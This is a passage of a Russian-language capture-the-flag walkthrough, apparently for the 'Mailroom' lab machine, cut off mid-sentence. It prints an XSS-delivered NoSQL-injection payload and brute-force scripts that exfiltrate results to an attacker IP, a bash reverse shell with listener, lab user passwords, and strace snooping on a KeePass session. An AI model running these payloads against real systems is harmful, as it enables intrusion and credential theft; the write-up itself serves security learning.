&lt;!-- Favicon--&gt;\n  &lt;link rel=&quot;icon&quot; type=&quot;image\/x-icon&quot; href=&quot;assets\/favicon.ico&quot; \/&gt;\n  &lt;!-- Bootstrap icons--&gt;\n  &lt;link href=&quot;font\/bootstrap-icons.css&quot; rel=&quot;stylesheet&quot; \/&gt;\n  &lt;!-- Core theme CSS (includes Bootstrap)--&gt;\n  &lt;link href=&quot;css\/styles.css&quot; rel=&quot;stylesheet&quot; \/&gt;\n&lt;\/head&gt;\n\n&lt;body&gt;\n  &lt;div class=&quot;wrapper fadeInDown&quot;&gt;\n    &lt;div id=&quot;formContent&quot;&gt;\n\n      &lt;!-- Login Form --&gt;\n      &lt;form id='login-form' method=&quot;POST&quot;&gt;\n        &lt;h2&gt;Panel Login&lt;\/h2&gt;\n        &lt;input required type=&quot;text&quot; id=&quot;email&quot; class=&quot;fadeIn second&quot; name=&quot;email&quot; placeholder=&quot;Email&quot;&gt;\n        &lt;input required type=&quot;password&quot; id=&quot;password&quot; class=&quot;fadeIn third&quot; name=&quot;password&quot; placeholder=&quot;Password&quot;&gt;\n        &lt;input type=&quot;submit&quot; class=&quot;fadeIn fourth&quot; value=&quot;Log In&quot;&gt;\n        &lt;p hidden id=&quot;message&quot; style=&quot;color: #8F8F8F&quot;&gt;Only show this line if response - edit code&lt;\/p&gt;\n      &lt;\/form&gt;\n\n      &lt;!-- Remind Passowrd --&gt;\n      &lt;div id=&quot;formFooter&quot;&gt;\n        &lt;a class=&quot;underlineHover&quot; href=&quot;register.html&quot;&gt;Create an account&lt;\/a&gt;\n      &lt;\/div&gt;\n\n    &lt;\/div&gt;\n  &lt;\/div&gt;\n\n  &lt;!-- Bootstrap core JS--&gt;\n  &lt;script src=&quot;js\/bootstrap.bundle.min.js&quot;&gt;&lt;\/script&gt;\n\n  &lt;!-- Login Form--&gt;\n  &lt;script&gt;\n    \/\/ Get the form element\n    const form = document.getElementById('login-form');\n\n    \/\/ Add a submit event listener to the form\n    form.addEventListener('submit', event =&gt; {\n      \/\/ Prevent the default form submission\n      event.preventDefault();\n\n      \/\/ Send a POST request to the login.php script\n      fetch('\/auth.php', {\n        method: 'POST',\n        body: new URLSearchParams(new FormData(form)),\n        headers: { 'Content-Type': 'application\/x-www-form-urlencoded' }\n      }).then(response =&gt; {\n        return response.json();\n\n      }).then(data =&gt; {\n        \/\/ Display the name and message in the page\n        document.getElementById('message').textContent = data.message;\n        document.getElementById('password').value = '';\n        document.getElementById('message').removeAttribute(&quot;hidden&quot;);\n      }).catch(error =&gt; {\n        \/\/ Display an error message\n        \/\/alert('Error: ' + error);\n      });\n    });\n  &lt;\/script&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0432 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u0432 Gitea <code>staff<\/code> \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c, \u0447\u0442\u043e \u0432 \u043a\u043e\u0434\u0435 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 NoSQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u044f \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b email \u0438 password.<\/p>\n\n\n\n<p>\u0421\u043e\u0437\u0434\u0430\u0451\u043c \u0434\u043b\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 NoSQL JS \u0441\u043e \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u044b\u043c, \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u043c SimpleHTTP \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0437\u0430\u0442\u0435\u043c \u043e\u0431\u0440\u0430\u0449\u0430\u0435\u043c\u0441\u044f \u043a \u043d\u0435\u043c\u0443(\u0438\u043d\u043e\u0433\u0434\u0430 \u043d\u0435 \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u0441 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u0437\u0430\u043f\u0440\u043e\u0441\u0430, \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u043e\u0431\u0440\u0430\u0449\u0430\u0442\u044c\u0441\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0440\u0430\u0437 \u0447\u0435\u0440\u0435\u0437 XSS \u0432 \u0444\u043e\u0440\u043c\u0435):<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\nvar http = new XMLHttpRequest(); \nhttp.open('POST', &quot;http:\/\/staff-review-panel.mailroom.htb\/auth.php&quot;, true);\nhttp.setRequestHeader('Content-type', 'application\/x-www-form-urlencoded');\nhttp.onload = function() \n   {   \n      fetch(&quot;http:\/\/your_VPN_IP\/out?&quot; + encodeURI(btoa(this.responseText))); \n   }; \nhttp.send(&quot;email&#x5B;$ne]=test@testy&amp;password&#x5B;$ne]=pass&quot;);\n<\/pre><\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-16.png\" alt=\"\" class=\"wp-image-166\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-17.png\" alt=\"\" class=\"wp-image-167\" width=\"700\"\/><\/figure><\/div>\n\n\n<p>\u0412\u044b\u0432\u043e\u0434:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\neyJzdWNjZXNzIjpmYWxzZSwibWVzc2FnZSI6IkludmFsaWQgaW5wdXQgZGV0ZWN0ZWQifXsic3VjY2VzcyI6dHJ1ZSwibWVzc2FnZSI6IkNoZWNrIHlvdXIgaW5ib3ggZm9yIGFuIGVtYWlsIHdpdGggeW91ciAyRkEgdG9rZW4ifQ==\n<\/pre><\/div>\n\n\n<p>\u0414\u0435\u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c base64:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\n{&quot;success&quot;:false,&quot;message&quot;:&quot;Invalid input detected&quot;}\n{&quot;success&quot;:true,&quot;message&quot;:&quot;Check your inbox for an email with your 2FA token&quot;}\n<\/pre><\/div>\n\n\n<p>\u0414\u043b\u044f \u043f\u0435\u0440\u0435\u0431\u043e\u0440\u0430 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e NoSQL \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u0432\u043e\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0441\u044f \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u043c \u043a\u043e\u0434\u043e\u043c:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\nasync function callAuth(mail) {\n    var content = await fetch(&quot;http:\/\/staff-review-panel.mailroom.htb\/auth.php&quot;, {\n        &quot;headers&quot;: {\n            &quot;content-type&quot;: &quot;application\/x-www-form-urlencoded&quot;\n        },\n        &quot;body&quot;: &quot;email&#x5B;$regex]=.*&quot; + mail + &quot;@mailroom.htb&amp;password&#x5B;$ne]=abc&quot;,\n        &quot;method&quot;: &quot;POST&quot;\n    }).then(function (res) {\n        return res.text();\n    });\n    return { d: mail, c: \/&quot;success&quot;:true\/.test(content) }\n}\nfunction notify(pass) {\n    fetch(&quot;http:\/\/your_VPN_IP\/out?&quot;+pass, {});\n}\nvar chars = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\&quot;#$%'()+, -\/:;&lt;=&gt;@&#x5B;\\]_`{}~&quot;;\nfunction cal(chars, mail) {\n    for (var i = 0; i &lt; chars.length; i++) {\n        callAuth(chars&#x5B;i]+mail).then(function (item) {\n            if (item.c) {\n                notify(item.d);\n                cal(&quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\&quot;#$%'()+, -\/:;&lt;=&gt;@&#x5B;\\]_`{}~&quot;, item.d);\n            }\n        });\n    }\n}\ncal(chars, &quot;&quot;);\n<\/pre><\/div>\n\n\n<p>\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0433\u043e \u043c\u044b \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c \u0438\u043c\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>tristan<\/code><\/p>\n\n\n\n<p>\u0410\u043d\u0430\u043b\u043e\u0433\u0438\u0447\u043d\u043e \u0434\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u043f\u0430\u0440\u043e\u043b\u044f \u0447\u0435\u0440\u0435\u0437 NoSQL \u0441\u043e\u0437\u0434\u0430\u0451\u043c JS \u0438 \u043f\u043e\u0434\u043d\u0438\u043c\u0430\u0435\u043c SimpleHTTP \u0441\u0435\u0440\u0432\u0435\u0440:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: jscript; title: ; notranslate\" title=\"\">\nasync function callAuth(pass){\n  var http = new XMLHttpRequest();\n  http.open('POST', &quot;http:\/\/staff-review-panel.mailroom.htb\/auth.php&quot;, true);\n  http.setRequestHeader('Content-type', 'application\/x-www-form-urlencoded');\n  http.onload = function() {\n    if (\/&quot;success&quot;:true\/.test(this.responseText)){\n      notify(pass);\n      cal(&quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\&quot;#$%'()+, -\/:;&lt;=&gt;@&#x5B;\\]_`{}~&quot;)\n    }\n  };\n  http.send(&quot;email=tristan@mailroom.htb&amp;password&#x5B;$regex]=^&quot; + pass);\n}\n\nfunction notify(pass) {\n  fetch(&quot;http:\/\/your_VPN_IP\/out?&quot; + pass);\n}\nvar chars = &quot;0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!\\&quot;#$%'()+, -\/:;&lt;=&gt;@&#x5B;\\]_`{}~&quot;\nfunction cal(chars, pass){\n  for (var i = 0; i &lt; chars.length; i++) {\n    callAuth(pass + chars&#x5B;i])\n  }\n}\ncal(chars, &quot;&quot;);\n<\/pre><\/div>\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u043f\u0430\u0440\u043e\u043b\u044c: <code>69trisRulez!<\/code><\/p>\n\n\n\n<p>\u0418\u0442\u043e\u0433\u043e\u0432\u044b\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f: <code>tristan:69trisRulez!<\/code><\/p>\n\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c, \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u043b\u0438 \u044d\u0442\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f ssh:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-19.png\" alt=\"\" class=\"wp-image-169\" width=\"600\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-20.png\" alt=\"\" class=\"wp-image-170\" width=\"700\"\/><\/figure><\/div>\n\n\n<p>\u041c\u044b \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0438\u0437 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043d\u043e \u0444\u043b\u0430\u0433 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u0434\u0440\u0443\u0433\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f &#8211; <code>matthew<\/code>, \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u0435\u0433\u043e \u0444\u0430\u0439\u043b\u043e\u0432 \u0443 \u0442\u0435\u043a\u0443\u0449\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f &#8211; \u043d\u0435\u0442.<\/p>\n\n\n\n<p>\u0422\u0430\u043a\u0436\u0435, \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043a\u043e\u0434 2FA, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u044f \u0438\u0437 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f \u0432 \u043a\u043e\u043d\u0441\u043e\u043b\u0438 \u0431\u044b\u043b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u0435\u043d \u043d\u0430\u043c \u0432 <code>\/var\/mail\/tristan<\/code><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-21.png\" alt=\"\" class=\"wp-image-171\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0412 \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u043c \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u044d\u0442\u0443 \u0441\u0441\u044b\u043b\u043a\u0443 \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u043d\u043e\u0439 \u043f\u0430\u043d\u0435\u043b\u0438.<\/p>\n\n\n\n<p>Port-forwarding \u0434\u043b\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u043f\u0430\u043d\u0435\u043b\u0438: <code>ssh -L 8008:127.0.0.1:80 tristan@mailroom.htb<\/code><\/p>\n\n\n\n<p>\u041f\u043e\u0441\u043b\u0435 \u044d\u0442\u043e\u0433\u043e \u0442\u0430\u043a\u0436\u0435 \u043d\u0435 \u0437\u0430\u0431\u044b\u0432\u0430\u0435\u043c \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c <code>staff-review-panel.mailroom.htb<\/code> \u0432 \u0444\u0430\u0439\u043b hosts \u2192 127.0.0.1<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-22.png\" alt=\"\" class=\"wp-image-172\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-23.png\" alt=\"\" class=\"wp-image-173\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0434\u0432\u0438\u0436\u0435\u043d\u0438\u0435<\/h3>\n\n\n\n<p>\u0420\u0430\u043d\u0435\u0435, \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u043a\u043e\u0434\u0430 \u0432 Gitea \u043c\u044b \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0438\u043d\u044a\u0435\u043a\u0446\u0438\u0438 \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 <code>inquiry_id<\/code>, \u043f\u0440\u0438\u0441\u0442\u0443\u043f\u0438\u043c \u043a \u044d\u0442\u043e\u0439 \u0447\u0430\u0441\u0442\u0438. \u041f\u043e\u0434\u043d\u0438\u043c\u0435\u043c SimpleHTTP \u0441\u0435\u0440\u0432\u0435\u0440, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0431\u0443\u0434\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043a\u043e\u0434 \u0441 \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b\u043e\u043c:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\n#!\/bin\/bash \nbash -i &gt;&amp; \/dev\/tcp\/your_VPN_IP\/7331 0&gt;&amp;1\n<\/pre><\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-24.png\" alt=\"\" class=\"wp-image-174\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0422\u0430\u043a\u0436\u0435, \u0434\u043b\u044f \u0440\u0430\u0431\u043e\u0442\u044b \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b\u0430 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0440\u043e\u043f\u0438\u0441\u0430\u0442\u044c \u043f\u0440\u0430\u0432\u0430 \u043d\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435: <code>chmod +x \/tmp\/rs<\/code><\/p>\n\n\n\n<p>\u0414\u043b\u044f \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u044f \u0440\u0435\u0432\u0435\u0440\u0441 \u0448\u0435\u043b\u043b\u0430: <code>nc -nvlp 7331<\/code><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-25.png\" alt=\"\" class=\"wp-image-175\" width=\"700\"\/><\/figure><\/div>\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-26.png\" alt=\"\" class=\"wp-image-176\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e <code>grep<\/code> \u0438\u0449\u0435\u043c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b\u0435 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0435 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0437\u0430\u043f\u0438\u0441\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>matthew<\/code>:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: plain; title: ; notranslate\" title=\"\">\nhttp:\/\/matthew:HueLover83%23@gitea:3000\/matthew\/staffroom.git\n<\/pre><\/div>\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-27.png\" alt=\"\" class=\"wp-image-177\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u0447\u0451\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f matthew, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043e\u043d \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0435\u0442 \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0441\u0435\u0440\u0432\u0438\u0441\u0443 gitea \u043d\u0430 3000 \u043f\u043e\u0440\u0442\u0435: <code>matthew:HueLover83#<\/code><\/p>\n\n\n\n<p>\u0418\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c \u044d\u0442\u043e\u0442 \u043f\u0430\u0440\u043e\u043b\u044c \u0434\u043b\u044f \u0441\u043c\u0435\u043d\u044b \u0443\u0447\u0451\u0442\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u043d\u0430 matthew: <code>su matthew<\/code><\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-28.png\" alt=\"\" class=\"wp-image-178\" width=\"700\"\/><\/figure><\/div>\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0444\u043b\u0430\u0433 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f!<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0434\u043e root<\/h3>\n\n\n\n<p>\u0412 \u0434\u043e\u043c\u0430\u0448\u043d\u0435\u0439 \u0434\u0438\u0440\u0435\u043a\u0442\u043e\u0440\u0438\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f <code>matthew<\/code> \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0444\u0430\u0439\u043b <code>personal.kbdx<\/code><\/p>\n\n\n\n<p>\u042d\u0442\u043e \u0431\u0430\u0437\u0430 \u0434\u0430\u043d\u043d\u044b\u0445 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0443\u0442\u0438\u043b\u0438\u0442\u044b \u043c\u0435\u043d\u0435\u0434\u0436\u043c\u0435\u043d\u0442\u0430 \u043f\u0430\u0440\u043e\u043b\u044f\u043c\u0438 Keepass<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-29.png\" alt=\"\" class=\"wp-image-179\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0424\u0430\u0439\u043b \u0432\u0435\u0440\u0441\u0438\u0438 2.X. \u041f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0435 \u0438 \u0440\u0430\u0431\u043e\u0447\u0438\u0435 CVE \u043d\u0430 \u0434\u0430\u043d\u043d\u0443\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u0443 \u0437\u0430\u0432\u044f\u0437\u0430\u043d\u044b \u043d\u0430 \u0434\u0430\u043c\u043f\u0430\u0445 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438\/\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445, \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0434\u043b\u044f \u041e\u0421 Windows<\/p>\n\n\n\n<p>\u041f\u0440\u043e\u0432\u0435\u0440\u0438\u043c \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0435 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u044b:<\/p>\n\n\n<div class=\"wp-block-image\">\n<figure class=\"aligncenter size-full is-resized\"><img decoding=\"async\" src=\"https:\/\/seq.team\/wp-content\/uploads\/2023\/08\/image-30.png\" alt=\"\" class=\"wp-image-180\" width=\"700\"\/><\/figure><\/div>\n\n\n<p><\/p>\n\n\n\n<p>\u0421 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0443\u0442\u0438\u043b\u0438\u0442\u044b <code>strace<\/code> \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0435 \u0432\u044b\u0437\u043e\u0432\u044b, \u0441\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u0434\u043b\u044f \u043d\u0430\u0441 \u0442\u043e, \u0447\u0442\u043e \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043d\u0435\u0451 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0438\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442 \u0438 \u0447\u0442\u0435\u043d\u0438\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0445 \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u043c\u0435\u0436\u0434\u0443 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430\u043c\u0438 \u0438 \u044f\u0434\u0440\u043e\u043c \u041e\u0421.<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nstrace -p `ps -elf | grep -v 'pts' | awk '\/kpcli\/{print $4}'`\n<\/pre><\/div>\n\n\n<p>\u041f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u0432\u044b\u0432\u043e\u0434, \u043d\u0430\u0441 \u0431\u0443\u0434\u0443\u0442 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043e\u0432\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0447\u0442\u0435\u043d\u0438\u044f:<\/p>\n\n\n<div class=\"wp-block-syntaxhighlighter-code \"><pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nread(0, &quot;!&quot;, 8192)                      = 1  \n&#x5B;...] \nread(0, &quot;s&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;E&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;c&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;U&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;r&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;3&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;p&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;4&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;$&quot;, 8192)                      = 1 \n&#x5B;..] \nread(0, &quot;$&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;w&quot;, 8192)                      = 1 \n&#x5B;...] \nread(0, &quot;0&quot;, 8192)                      = 1 \n&#x5B;...]\nread(0, &quot;1&quot;, 8192)                      = 1\n<\/pre><\/div>\n\n\n<p>\u041f\u043e\u043b\u0443\u0447\u0430\u0435\u043c, \u0447\u0442\u043e \u0441\u043d\u0430\u0447\u0430\u043b\u0430 \u0431\u044b\u043b \u0432\u0432\u0435\u0434\u0451\u043d \u043f\u0430\u0440\u043e\u043b\u044c: <code>!sEcUr3p4$$w01<\/code><\/p>\n\n\n\n<p>\u0415\u0441\u043b\u0438 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0434\u0430\u043b\u0435\u0435, \u0442\u043e \u043c\u043e\u0436\u043d\u043e 